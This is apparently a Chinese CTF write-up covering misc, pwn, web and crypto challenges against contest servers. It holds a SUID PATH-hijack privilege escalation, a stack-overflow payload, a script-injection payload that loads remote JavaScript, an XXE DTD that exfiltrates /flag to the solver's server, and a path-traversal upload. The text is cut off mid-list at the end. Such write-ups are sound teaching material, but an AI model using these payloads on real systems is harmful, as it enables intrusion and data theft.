&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746071579515.png&quot; alt=&quot;1746071579515&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现桥上有字&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746071605763.png&quot; alt=&quot;1746071605763&quot;&gt;&lt;/p&gt;
&lt;p&gt;调用语言模型无脑开启联网搜索&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;地上写着 バス専用

7:30 - 9:00 Overpass有个明治通り (Meiji Dōri)

豊島区目白三丁目 (Toshima-ku Mejiro San-chōme)给我具体经纬度
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.google.com/maps/@35.7204533,139.7130719,3a,75y,353.8h,91.22t/data=!3m7!1e1!3m5!1sXsk9Ia4QsuXgbWyH5aVmMQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.2232476107826642%26panoid%3DXsk9Ia4QsuXgbWyH5aVmMQ%26yaw%3D353.79558674265166!7i16384!8i8192!5m1!1e2?entry=ttu&amp;g_ep=EgoyMDI1MDQyOC4wIKXMDSoJLDEwMjExNDUzSAFQAw%3D%3D&quot;&gt;google街景&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;邮编数字部分 &lt;code&gt;1710032&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Terminal&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;test@046413259f36:~$ find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2&amp;gt;/dev/null
  4599371     40 -rwxr-sr-x   1 root     shadow      39160 Sep 22  2023 /usr/sbin/unix_chkpwd
  4603694     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  4603899    640 -rwsr-xr-x   1 root     root         653888 Feb 14 21:06 /usr/lib/openssh/ssh-keysign
  4597709     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  4597715     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
  4597706     80 -rwxr-sr-x   1 root     shadow        80376 Mar 23  2023 /usr/bin/chage
  4597926     36 -rwsr-xr-x   1 root     root          35128 Nov 22 04:01 /usr/bin/umount
  4597850     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  4597776     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  4597834     60 -rwsr-xr-x   1 root     root          59704 Nov 22 04:01 /usr/bin/mount
  4597902     72 -rwsr-xr-x   1 root     root          72000 Nov 22 04:01 /usr/bin/su
  4597839     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  4597760     32 -rwxr-sr-x   1 root     shadow        31184 Mar 23  2023 /usr/bin/expiry
  4602046    476 -rwxr-sr-x   1 root     _ssh         485760 Feb 14 21:06 /usr/bin/ssh-agent
  4609046     16 -rwsr-xr-x   1 root     root          16064 Feb 28 15:46 /tmp/whatisthis
test@046413259f36:~$/tmp/whatisthis
    PID TTY          TIME CMD
     23 pts/0    00:00:00 whatisthis
     24 pts/0    00:00:00 sh
     25 pts/0    00:00:00 ps
test@046413259f36:~$ echo &amp;#39;/bin/sh&amp;#39; &amp;gt; ~/ps
test@046413259f36:~$ chmod +x ~/ps
test@046413259f36:~$ export PATH=~:$PATH
test@046413259f36:~$ /tmp/whatisthis
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/tmp/whatisthis&lt;/code&gt; -&amp;gt; &lt;code&gt;whatisthis&lt;/code&gt; 程序内部启动 &lt;code&gt;sh&lt;/code&gt; -&amp;gt; &lt;code&gt;sh&lt;/code&gt; 执行 &lt;code&gt;ps&lt;/code&gt; 命令 -&amp;gt; &lt;code&gt;ps&lt;/code&gt; 输出进程列表&lt;/p&gt;
&lt;p&gt;路径劫持直接提权&lt;/p&gt;
&lt;h2&gt;我是少女乐队高手&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746073253632.png&quot; alt=&quot;1746073253632&quot;&gt;&lt;/p&gt;
&lt;p&gt;两个音轨 相同记为 &lt;code&gt;0&lt;/code&gt; 不同记为 &lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;midi2csv&lt;/code&gt; 转换后提取出&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;a = &amp;quot;00010100100100011001010110010101010101000100110001010100100100011101100101001100100011000100110001011000110111101001000110011010100101100000110010011101110111011101100100011010100100111000111001&amp;quot;
len(a) == 194
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多两位 把前两个丢了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/dlut2025_5_1/1746074085942.png&quot; alt=&quot;1746074085942&quot;&gt;&lt;/p&gt;
&lt;h1&gt;pwn&lt;/h1&gt;
&lt;h2&gt;minesweeper&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;No canary found&lt;/code&gt; 栈溢出&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;__int64 read_int(void)
{
  unsigned int buf; // [rsp+Ch] [rbp-4h] BYREF

  read(0, &amp;amp;buf, 0x10uLL);
  return buf;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;win(void)	.text	000000000000222F	00000030	00000008		.	.	.	.	.	.	B	T	.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;payload = b&amp;#39;A&amp;#39;*12 + b&amp;#39;F&amp;#39;
print(f&amp;quot;[*] Sending payload ({len(payload)} bytes): {payload}&amp;quot;)
io.send(payload)  # Use send() for read(), not sendline()
print(&amp;quot;[+] Payload sent.&amp;quot;)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/bin/sh&lt;/code&gt; 提权&lt;/p&gt;
&lt;h2&gt;kernel_master&lt;/h2&gt;
&lt;p&gt;解压一下就拿到了 &lt;code&gt;flag{test}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;本题不会做 纯误判&lt;/p&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;Real_E2_J5!&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -X POST http://210.30.97.133:10079/validate \
-H &amp;quot;Content-Type: application/json&amp;quot; \
-d &amp;#39;{&amp;quot;key&amp;quot;: &amp;quot;adminSecret&amp;quot;, &amp;quot;value&amp;quot;: &amp;quot;adminSecret&amp;quot;, &amp;quot;adminSecret&amp;quot;: &amp;quot;hack&amp;quot;}&amp;#39;

curl http://210.30.97.133:10079/admin?secret=hack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逻辑漏洞 覆盖 &lt;code&gt;adminSecret&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Editor&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
    &amp;quot;name&amp;quot;: &amp;quot;javascript&amp;quot;,
    &amp;quot;script&amp;quot;: &amp;quot;var a=new java.beans.Customizer{setObject:load};a.object=\&amp;quot;http://my_server:8000/payload.js\&amp;quot;&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写到这里突然发现服务器 &lt;code&gt;8000&lt;/code&gt;端口当时做完忘了关 被扫爆了&lt;/p&gt;
&lt;p&gt;求求佬帮看看有没有敏感数据 整个用户文件夹全被扫了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://langqi99.com/data.log&quot;&gt;langqi99.com/data.log&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Real_upload?&lt;/h2&gt;
&lt;p&gt;跟上面类似的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dtd&quot;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///flag&amp;quot;&amp;gt;
&amp;lt;!ENTITY % all &amp;quot;&amp;lt;!ENTITY send SYSTEM &amp;#39;http://my_server:8001/?data=%file;&amp;#39;&amp;gt;&amp;quot;&amp;gt;
%all;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat &amp;lt;&amp;lt; EOF &amp;gt; name.xml
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE data [
  &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://my_server:8000/evil.dtd&amp;quot;&amp;gt;
  %dtd;
]&amp;gt;
&amp;lt;data&amp;gt;&amp;amp;send;&amp;lt;/data&amp;gt;
EOF

curl -X POST -F &amp;#39;file=@name.xml;filename=&amp;quot;../../../../../../../../tmp/name.xml&amp;quot;&amp;#39; http://210.30.97.133:10176/upload

curl http://210.30.97.133:10176/hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;Signin&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import gmpy2 # Using gmpy2 for efficient modular inverse calculation
import math

# Given values from the CTF challenge
c = 52354976201766669118320630176887314071011255313891475177309220942626308982212207656434544882959155963535322671950878583826524168178944409579938839799964263156869607430342733103192161887476831655038675686355158926050329782714167002188689556206753594011414672752687969286190800625479272347359078146861058813575
e = 65537
n = 128695631920242750589686556821575285363077338716894598150505853922988731458730235702902751496167097055081015591831536126839547857423987907590407313564456519185448221625668476322936885010691918434072938135430858464606477495727174799865802582744611435244880867181739290162314813391707310015481379681575178925149

# Step 1: Check if n is prime (optional, but good practice)
# We already confirmed this using external tools/information
# For a programmatic check (can be slow for large n):
# if not gmpy2.is_prime(n):
#     print(&amp;quot;Error: n is not prime, but the challenge implies it is.&amp;quot;)
#     exit()
# else:
#     print(&amp;quot;Confirmed: n is prime.&amp;quot;)

# Step 2: Calculate Euler&amp;#39;s totient function for a prime n, which is phi(n) = n - 1
phi_n = n - 1
print(f&amp;quot;Since n is prime, phi(n) = n - 1 = {phi_n}\n&amp;quot;)

# Step 3: Calculate the private exponent d, which is the modular multiplicative inverse of e modulo phi(n)
# d * e ≡ 1 (mod phi(n))
try:
    # Ensure e and phi_n are coprime
    if gmpy2.gcd(e, phi_n) != 1:
         print(f&amp;quot;Error: e ({e}) and phi_n ({phi_n}) are not coprime. gcd = {gmpy2.gcd(e, phi_n)}&amp;quot;)
         print(&amp;quot;Decryption is not possible with this e.&amp;quot;)
    else:
        d = gmpy2.invert(e, phi_n)
        print(f&amp;quot;Calculated private exponent d = {d}\n&amp;quot;)

        # Step 4: Decrypt the ciphertext c to get the plaintext message m
        # m = c^d mod n
        # Use the built-in pow(base, exponent, modulus) for efficiency
        m_int = pow(c, d, n)
        print(f&amp;quot;Decrypted integer m = {m_int}\n&amp;quot;)

        # Step 5: Convert the resulting integer m into bytes, then decode into a string
        # The number of bytes needed is ceil(log2(m) / 8)
        # or more simply (m.bit_length() + 7) // 8
        byte_length = (m_int.bit_length() + 7) // 8
        m_bytes = m_int.to_bytes(byte_length, &amp;#39;big&amp;#39;) # &amp;#39;big&amp;#39; means most significant byte first

        print(f&amp;quot;Decrypted bytes = {m_bytes}\n&amp;quot;)

        # Try decoding the bytes as UTF-8 (common for flags) or ASCII
        try:
            m_str = m_bytes.decode(&amp;#39;utf-8&amp;#39;)
            print(f&amp;quot;Decrypted string (UTF-8): {m_str}&amp;quot;)
        except UnicodeDecodeError:
            try:
                m_str = m_bytes.decode(&amp;#39;ascii&amp;#39;)
                print(f&amp;quot;Decrypted string (ASCII): {m_str}&amp;quot;)
            except UnicodeDecodeError as e:
                print(f&amp;quot;Could not decode bytes into a readable string: {e}&amp;quot;)
                print(&amp;quot;The result might be raw bytes or require different decoding.&amp;quot;)

except ValueError:
    # This specific error might not be reachable if gcd check is done first,
    # but kept for robustness. gmpy2.invert raises ZeroDivisionError if modulus is 1 or less.
    print(f&amp;quot;Error calculating modular inverse. Is phi_n valid?&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Whereisp&amp;amp;q&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import math
from Crypto.Util.number import long_to_bytes

# --- 从问题描述中获取的已知值 ---
N = 70043427687738872803871163276488213173780425282753969243938124727004843810522473265066937344440899712569316720945145873584064860810161865485251816597432836666987134938760506657782143983431621481190009008491725207321741725979791393566155990005404328775785526238494554357279069151540867533082875900530405903003
enc_flag = 20797621445779853622774031988797057713071576485981176620438476287691431211827108973711188565531231624908250816829606043339050674851955845245175767829499048697190880649138351268910380674343685058356646195398107343184004661886569002983286808168852810944626906687603677922754297685190621595441100414259760595685
a = 8369195163678456889416121467476480674288621867182572824570660596055739410903686466334448920102666056798356927389728982948229326705483052970212882852055482
b = 25500181489306553053743739056022091355379036380919737553326529889338409847082228856006303427136881468093863020843230477979
c = 8369195163678456889416121462308686152524805984209312455308229689034789710117101859597220211456125364647704791637845189120538925088375209397006380815921158
d = 31448594528370020763962343185054872105044827103889010592635556324009793301024988530934510929565983517651356856506719032859

# --- 步骤 1: 计算公共指数 e ---
# N = a^2 + e*b^2  =&amp;gt; e = (N - a^2) / b^2
# N = c^2 + e*d^2  =&amp;gt; e = (N - c^2) / d^2
e1 = (N - a*a) // (b*b)
e2 = (N - c*c) // (d*d)

# 验证两个方程计算出的 e 是否相同
assert e1 == e2
e = e1
print(f&amp;quot;[+] 计算得到公共指数 e = {e}&amp;quot;)
print(f&amp;quot;    e 的比特长度: {e.bit_length()}&amp;quot;)


# --- 步骤 2: 使用 Brillhart 方法分解 N ---
# 基于 N = a^2 + eb^2 = c^2 + ed^2
# 计算 k = ad - bc
# 计算 g = gcd(N, k)。如果 1 &amp;lt; g &amp;lt; N, 则 g 是 N 的一个因子
k = a*d - b*c
print(f&amp;quot;[+] 计算 k = ad - bc = {k}&amp;quot;)

# 使用 math.gcd 计算最大公约数
g = math.gcd(N, k)
print(f&amp;quot;[+] 计算 g = gcd(N, k) = {g}&amp;quot;)

# 检查 g 是否是一个非平凡因子
if 1 &amp;lt; g &amp;lt; N:
    p = g
    q = N // g
    print(f&amp;quot;[+] 成功找到因子:&amp;quot;)
    print(f&amp;quot;    p = {p}&amp;quot;)
    print(f&amp;quot;    q = {q}&amp;quot;)
    # 验证 p * q 是否等于 N
    assert p * q == N
else:
    # 如果 gcd(N, ad-bc) 失败，可以尝试 gcd(N, ac+ebd)
    # 但在这个问题中，通常 gcd(N, ad-bc) 会成功
    print(&amp;quot;[-] 使用 gcd(N, ad-bc) 分解失败，可以尝试其他方法（例如 gcd(N, ac+ebd)），但在此省略。&amp;quot;)
    exit() # 如果分解失败则退出


# --- 步骤 3: 计算 RSA 私钥 ---
# 计算欧拉函数 phi(N) = (p-1)*(q-1)
phi = (p - 1) * (q - 1)
print(f&amp;quot;[+] 计算 phi(N) = {phi}&amp;quot;)

# 计算私钥 d_priv，它是 e 模 phi(N) 的乘法逆元
# d_priv = e^(-1) mod phi
d_priv = pow(e, -1, phi)
print(f&amp;quot;[+] 计算得到私钥 d_priv = {d_priv}&amp;quot;)


# --- 步骤 4: 解密消息 ---
# m = enc_flag ^ d_priv mod N
m = pow(enc_flag, d_priv, N)
print(f&amp;quot;[+] 解密得到消息整数 m = {m}&amp;quot;)


# --- 步骤 5: 将消息整数转换回字节 ---
flag = long_to_bytes(m)
print(f&amp;quot;[+] 将 m 转换回字节:&amp;quot;)

# --- 输出最终的 Flag ---
# 使用 try-except 来处理可能的解码错误（尽管通常是 utf-8）
try:
    print(f&amp;quot;\n[*] Flag: {flag.decode(&amp;#39;utf-8&amp;#39;)}&amp;quot;)
except UnicodeDecodeError:
    print(f&amp;quot;\n[*] Flag (字节形式): {flag}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;stream&amp;amp;block&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
from pwn import *
import sys

# Define the action function locally for checking
def action(msg):
    r = 0
    for b in msg:
        r ^= b
    return r

# --- Connection Details ---
HOST = &amp;quot;210.30.97.133&amp;quot;
PORT = 10003

# Set context for architecture, os, etc. (optional but good practice)
context.log_level = &amp;#39;info&amp;#39; # Set to &amp;#39;debug&amp;#39; for more verbose output

# Connect to the server
try:
    conn = remote(HOST, PORT)
except PwnlibException as e:
    log.error(f&amp;quot;Failed to connect to {HOST}:{PORT} - {e}&amp;quot;)
    sys.exit(1)

# Read the initial banner
try:
    conn.recvuntil(b&amp;#39; &amp;gt; &amp;#39;)
except EOFError:
    log.error(&amp;quot;Connection closed immediately after connect.&amp;quot;)
    sys.exit(1)


log.info(&amp;quot;Starting probe...&amp;quot;)
good_ops = []

for op in range(256):
    # Construct probe P
    # If op is 0, use all null bytes. Otherwise, use byte(op) followed by null bytes.
    p_bytes = bytes([op]) + b&amp;#39;\x00&amp;#39; * 15 if op != 0 else b&amp;#39;\x00&amp;#39; * 16
    p_hex = p_bytes.hex()

    log.debug(f&amp;quot;Testing op={op}, P_hex={p_hex}&amp;quot;)

    try:
        # Send choice 1 (Encrypt)
        conn.sendline(b&amp;#39;1&amp;#39;)
        # Send plaintext hex
        conn.sendlineafter(b&amp;#39;input your plaintext(hex) &amp;gt; &amp;#39;, p_hex.encode())
        # Receive response
        response_line = conn.recvline().decode().strip()
        log.debug(f&amp;quot;Raw response for op={op}: {response_line}&amp;quot;)

        # Parse ciphertext hex
        if response_line.startswith(&amp;quot;encrypted ciphertext: &amp;quot;):
            c_hex = response_line.split(&amp;quot;encrypted ciphertext: &amp;quot;)[1]
            c_bytes = bytes.fromhex(c_hex)

            # Check action
            act_c = action(c_bytes)
            log.debug(f&amp;quot;op={op}, action(P)={op}, action(C)={act_c}&amp;quot;)
            if act_c == op:
                log.success(f&amp;quot;*** Found good op: {op} ***&amp;quot;)
                good_ops.append(op)
        else:
             log.warning(f&amp;quot;Unexpected response format for op={op}: {response_line}&amp;quot;)

        # Ready for the next command
        conn.recvuntil(b&amp;#39; &amp;gt; &amp;#39;)

    except EOFError:
        log.error(&amp;quot;Connection closed unexpectedly during loop.&amp;quot;)
        sys.exit(1)
    except ValueError as e:
        log.error(f&amp;quot;Hex decoding error for op={op}, response: {response_line} - {e}&amp;quot;)
        # Try to recover by reading until the next prompt
        try:
            conn.recvuntil(b&amp;#39; &amp;gt; &amp;#39;)
        except EOFError:
            log.error(&amp;quot;Connection closed while trying to recover from hex error.&amp;quot;)
            sys.exit(1)
    except Exception as e:
        log.error(f&amp;quot;An error occurred for op={op}: {e}&amp;quot;)
        # Try to recover
        try:
            conn.recvuntil(b&amp;#39; &amp;gt; &amp;#39;)
        except EOFError:
            log.error(&amp;quot;Connection closed while trying to recover from general error.&amp;quot;)
            sys.exit(1)


log.info(f&amp;quot;Finished probing. Good ops found: {good_ops}&amp;quot;)

if not good_ops:
    log.error(&amp;quot;No suitable op found. Cannot proceed.&amp;quot;)
else:
    # Choose the first good op found
    chosen_op = good_ops[0]
    log.info(f&amp;quot;Using op = {chosen_op} for the magic text.&amp;quot;)

    # Construct the magic block based on the chosen op
    p_good_bytes = bytes([chosen_op]) + b&amp;#39;\x00&amp;#39; * 15 if chosen_op != 0 else b&amp;#39;\x00&amp;#39; * 16

    # Construct the final message (4 blocks = 64 bytes &amp;gt;= 50 bytes required)
    magic_msg_bytes = p_good_bytes * 4
    magic_msg_hex = magic_msg_bytes.hex()

    log.info(f&amp;quot;Constructed magic message (hex): {magic_msg_hex}&amp;quot;)

    try:
        # Send choice 3 (Verify)
        conn.sendline(b&amp;#39;3&amp;#39;)
        log.info(&amp;quot;Sent choice 3 (Verify)&amp;quot;)

        # Send the magic message hex
        conn.sendlineafter(b&amp;#39;input your text(hex) &amp;gt; &amp;#39;, magic_msg_hex.encode())
        log.info(&amp;quot;Sent magic text&amp;quot;)

        # Receive the final response (hopefully the flag)
        final_response = conn.recvall(timeout=3).decode() # Adjust timeout if needed
        log.success(&amp;quot;Received final response:&amp;quot;)
        print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*20 + &amp;quot; FINAL SERVER RESPONSE &amp;quot; + &amp;quot;=&amp;quot;*20)
        print(final_response)
        print(&amp;quot;=&amp;quot;*61)

    except EOFError:
        log.error(&amp;quot;Connection closed before receiving the final response.&amp;quot;)
    except Exception as e:
        log.error(f&amp;quot;An error occurred during verification: {e}&amp;quot;)

# Close the connection (pwntools usually handles this, but explicit is fine)
conn.close()
log.info(&amp;quot;Connection closed.&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;signature2&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import inverse, long_to_bytes, GCD

# Connection details from the challenge description
HOST = &amp;quot;210.30.97.133&amp;quot;
PORT = 10095

# Start connection
log.info(f&amp;quot;Connecting to {HOST}:{PORT}&amp;quot;)
conn = remote(HOST, PORT)

# Receive public key
conn.recvuntil(b&amp;quot;This is your Public key: (&amp;quot;)
p_str = conn.recvuntil(b&amp;quot;, &amp;quot;, drop=True)
g_str = conn.recvuntil(b&amp;quot;, &amp;quot;, drop=True)
y_str = conn.recvuntil(b&amp;quot;)&amp;quot;, drop=True)

p = int(p_str)
g = int(g_str)
y = int(y_str)

log.success(f&amp;quot;Received Public Key:&amp;quot;)
log.info(f&amp;quot;  p = {p}&amp;quot;)
log.info(f&amp;quot;  g = {g}&amp;quot;)
log.info(f&amp;quot;  y = {y}&amp;quot;)

# Send a dummy message (its signature will be ignored)
conn.recvuntil(b&amp;quot;Please tell me what you want to sign:\n&amp;gt; &amp;quot;)
dummy_msg = b&amp;quot;initial_message&amp;quot;
conn.sendline(dummy_msg)
log.info(f&amp;quot;Sent dummy message: {dummy_msg}&amp;quot;)

# Receive the dummy signature (and ignore it)
conn.recvuntil(b&amp;quot;Your signature is: (&amp;quot;)
conn.recvuntil(b&amp;quot;)&amp;quot;) # Consume the signature line
log.info(&amp;quot;Received and ignored dummy signature.&amp;quot;)

# --- Perform Existential Forgery ---
log.info(&amp;quot;Calculating forged signature...&amp;quot;)
u = 1
v = 1
p_minus_1 = p - 1

# Ensure v is coprime to p-1 (v=1 is always coprime)
assert GCD(v, p_minus_1) == 1, &amp;quot;v must be coprime to p-1&amp;quot;

# 1. Calculate r&amp;#39; = (g^u * y^v) % p
r_prime = (pow(g, u, p) * pow(y, v, p)) % p

# 2. Calculate s&amp;#39; = (-r&amp;#39; * inverse(v, p-1)) % (p-1)
try:
    v_inv = inverse(v, p_minus_1)
except ValueError:
    log.error(f&amp;quot;Inverse of v={v} mod p-1={p_minus_1} does not exist!&amp;quot;)
    conn.close()
    exit()
# Need to compute -r&amp;#39; mod (p-1). Ensure r&amp;#39; is reduced if needed, though result of pow gives 0 &amp;lt;= r&amp;#39; &amp;lt; p.
# The modulo operation requires the argument to be non-negative sometimes depending on language/library.
# (-r_prime * v_inv) % p_minus_1 handles this correctly in Python.
s_prime = (-r_prime * v_inv) % p_minus_1

# 3. Calculate m&amp;#39; = (s&amp;#39; * u) % (p-1)
m_prime = (s_prime * u) % p_minus_1

log.success(&amp;quot;Calculated Forged Signature Components:&amp;quot;)
log.info(f&amp;quot;  m&amp;#39; = {m_prime}&amp;quot;)
log.info(f&amp;quot;  r&amp;#39; = {r_prime}&amp;quot;)
log.info(f&amp;quot;  s&amp;#39; = {s_prime}&amp;quot;)

# Sanity check: verify locally (optional)
lhs = pow(g, m_prime, p)
rhs = (pow(y, r_prime, p) * pow(r_prime, s_prime, p)) % p
if lhs == rhs:
    log.info(&amp;quot;Local verification successful!&amp;quot;)
else:
    log.warning(&amp;quot;Local verification failed! Something might be wrong.&amp;quot;)
    # continue anyway, maybe a calculation nuance

# Check if the forged message m&amp;#39; would convert to the same bytes as the dummy message
try:
    m_prime_bytes = long_to_bytes(m_prime)
    if m_prime_bytes == dummy_msg:
        log.error(&amp;quot;Forged message m&amp;#39; is the same as the initial dummy message!&amp;quot;)
        log.error(&amp;quot;Attack will fail. Try different u, v or dummy_msg.&amp;quot;)
        conn.close()
        exit()
except ValueError:
    # If m_prime is 0, long_to_bytes might give empty bytes b&amp;#39;&amp;#39;
    if m_prime == 0 and dummy_msg == b&amp;#39;&amp;#39;:
         log.error(&amp;quot;Forged message m&amp;#39;=0 might conflict with empty dummy message!&amp;quot;)
         # Handle this case if needed, but unlikely with non-empty dummy_msg
    # Otherwise, it&amp;#39;s fine, m&amp;#39;=0 -&amp;gt; b&amp;#39;&amp;#39; is different from non-empty dummy_msg
    pass


# Send the forged message and signature
log.info(&amp;quot;Sending forged message and signature...&amp;quot;)
conn.recvuntil(b&amp;quot;m: &amp;quot;)
conn.sendline(str(m_prime).encode())
log.info(f&amp;quot;Sent m&amp;#39;: {m_prime}&amp;quot;)

conn.recvuntil(b&amp;quot;r: &amp;quot;)
conn.sendline(str(r_prime).encode())
log.info(f&amp;quot;Sent r&amp;#39;: {r_prime}&amp;quot;)

conn.recvuntil(b&amp;quot;s: &amp;quot;)
conn.sendline(str(s_prime).encode())
log.info(f&amp;quot;Sent s&amp;#39;: {s_prime}&amp;quot;)

# Receive the flag or error message
log.info(&amp;quot;Waiting for response...&amp;quot;)
response = conn.recvall(timeout=5)

log.success(&amp;quot;Received response:&amp;quot;)
print(response.decode())

conn.close()
log.info(&amp;quot;Connection closed.&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;signature1&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pwn
from Crypto.Util.number import bytes_to_long, long_to_bytes

# Connection details (replace if different)
# From your screenshot:
HOST = &amp;#39;210.30.97.133&amp;#39;
PORT = 10049

try:
    # Establish connection
    conn = pwn.remote(HOST, PORT)
    pwn.context.log_level = &amp;#39;info&amp;#39; # Show interaction logs

    # 1. Receive public key
    conn.recvuntil(b&amp;#39;This is your public key:\n&amp;#39;)
    pubkey_str = conn.recvline().strip().decode()
    # Handle potential extra characters if any
    pubkey_str = pubkey_str.strip(&amp;#39;()&amp;#39;)
    p, g, y = map(int, pubkey_str.split(&amp;#39;, &amp;#39;))
    conn.info(f&amp;quot;Received p = {p}&amp;quot;)
    conn.info(f&amp;quot;Received g = {g}&amp;quot;)
    conn.info(f&amp;quot;Received y = {y}&amp;quot;)

    # 2. Define Target
    target_message = b&amp;#39;DUTCTF&amp;#39;
    m_target = bytes_to_long(target_message)
    conn.info(f&amp;quot;Target m = {m_target}&amp;quot;)

    # 3. Craft Alternative Message
    p_minus_1 = p - 1
    m_prime = m_target + p_minus_1
    msg_prime_bytes = long_to_bytes(m_prime)
    conn.info(f&amp;quot;Crafted m&amp;#39; = {m_prime}&amp;quot;)
    # Note: msg_prime_bytes might be very large

    # 4. Request Signature for the alternative message
    conn.recvuntil(b&amp;#39;Please tell me what you want to sign?\n&amp;gt; &amp;#39;)
    conn.info(f&amp;quot;Sending alternative message bytes (length {len(msg_prime_bytes)}) to sign...&amp;quot;)
    conn.sendline(msg_prime_bytes)

    # Receive the signature (r, s) for msg_prime
    conn.recvuntil(b&amp;#39;This is your signature:\n&amp;#39;)
    r_line = conn.recvline().strip().decode()
    s_line = conn.recvline().strip().decode()

    # Extract r and s carefully
    try:
        r = int(r_line.split(&amp;#39;=&amp;#39;)[1])
        s = int(s_line.split(&amp;#39;=&amp;#39;)[1])
        conn.info(f&amp;quot;Received r = {r}&amp;quot;)
        conn.info(f&amp;quot;Received s = {s}&amp;quot;)
    except (IndexError, ValueError) as e:
        conn.error(f&amp;quot;Failed to parse signature: r=&amp;#39;{r_line}&amp;#39;, s=&amp;#39;{s_line}&amp;#39;&amp;quot;)
        conn.close()
        exit()

    # 5. Submit Signature for the original target message
    conn.recvuntil(b&amp;quot;If you want to get the flag. Please tell me your signature\n&amp;gt; &amp;quot;)
    conn.info(f&amp;quot;Sending r = {r}&amp;quot;)
    conn.sendline(str(r).encode())
    conn.recvuntil(b&amp;#39;&amp;gt; &amp;#39;) # Prompt for s
    conn.info(f&amp;quot;Sending s = {s}&amp;quot;)
    conn.sendline(str(s).encode())

    # 6. Receive the result (hopefully the flag)
    conn.info(&amp;quot;Waiting for flag...&amp;quot;)
    # Use recvall to get all remaining output
    result = conn.recvall(timeout=5) # Adjust timeout if needed
    conn.success(f&amp;quot;Result: {result.decode()}&amp;quot;)

    # Close connection
    conn.close()

except Exception as e:
    pwn.context.log_level = &amp;#39;error&amp;#39;
    conn.error(f&amp;quot;An error occurred: {e}&amp;quot;)
    if &amp;#39;conn&amp;#39; in locals() and conn:
        conn.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MetamikuMatrixMaster&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Define p and c_list (ensure full c list is used)
p = 94951668914836210059795315483536443488933021611300220555898947046010704751659
c_list = [
    8035334017032303676884495695093849049591116586402215453176893169647528573473, 59633132506897001337475181076769716084659260056174745705282228861660454585844,
    28162843329479433477265065446992147859471233196414186246357440403309160334499, 4299109678466131600343618060605648056113232607349218027650135505549407963910,
    4087741063724374061725013462278085730705718667489149938923893312651486614669, 73854298568255274991238074779725329201544960932611944103367706659761710498656,
